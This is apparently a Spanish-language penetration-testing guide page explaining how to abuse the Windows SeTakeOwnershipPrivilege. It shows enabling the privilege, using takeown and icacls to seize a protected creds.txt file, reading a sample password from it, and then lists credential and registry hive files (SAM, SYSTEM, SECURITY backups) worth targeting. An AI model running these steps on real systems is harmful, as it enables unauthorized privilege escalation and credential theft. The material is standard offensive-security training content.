SeTakeOwnershipPrivilege

El privilegio SeTakeOwnershipPrivilege concede a un usuario la capacidad de tomar posesión de cualquier "objeto protegido", lo que incluye objetos de Active Directory, archivos y carpetas NTFS, impresoras, claves del registro, servicios y procesos. Este privilegio otorga derechos WRITE_OWNER sobre un objeto, permitiendo al usuario modificar el propietario en el descriptor de seguridad del objeto. Por defecto, los administradores tienen este privilegio.

Abusando del privilegio

Revisión de los privilegios del usuario actual

PS C:\temp> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                                              State
============================= ======================================================= ========
SeTakeOwnershipPrivilege      Take ownership of files or other objects                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                                Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set                          Disabled

Habilitación del privilegio SeTakeOwnership

Observe en el resultado que el privilegio no está habilitado. Podemos activarlo utilizando este script, que se describe en esta publicación de blog, así como en este artículo, que amplía el concepto inicial.

PS C:\temp> Import-Module .\Enable-Privilege.ps1
PS C:\temp> .\EnableAllTokenPrivs.ps1
PS C:\temp> whoami /priv

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                              State
============================= ======================================== =======
SeTakeOwnershipPrivilege      Take ownership of files or other objects Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                 Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set           Enabled

Supongamos que existe un archivo llamado creds.txt al que no podemos acceder. Sin embargo, podemos utilizar este derecho para tomar posesión del archivo, lo que nos permitirá obtener acceso completo al mismo.

El siguiente comando puede utilizarse para tomar posesión de cualquier archivo, otorgándonos control sobre el mismo.

takeown /f 'C:\Shares\PrivateFiles\Secret\creds.txt'

Pero todavía no podemos acceder y necesitamos modificar la ACL.

Otorgar a nuestro usuario privilegios completos sobre el archivo de destino.

icacls 'C:\Shares\PrivateFiles\Secret\creds.txt' /grant username:F

Cambiar username por el nombre de nuestro usuario.

Si todo ha salido según lo previsto, ahora podremos leer el archivo de destino desde la línea de comandos, abrirlo si tenemos acceso RDP, o copiarlo a nuestro sistema de ataque para realizar un procesamiento adiciona.

PS C:\temp> cat 'C:\Shares\PrivateFiles\Secret\creds.txt'

WEBADMIN admin
 
admin:sup3rs3cretPa$$word!

Algunos archivos locales de interés pueden incluir:

c:\inetpub\wwwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav

Última actualización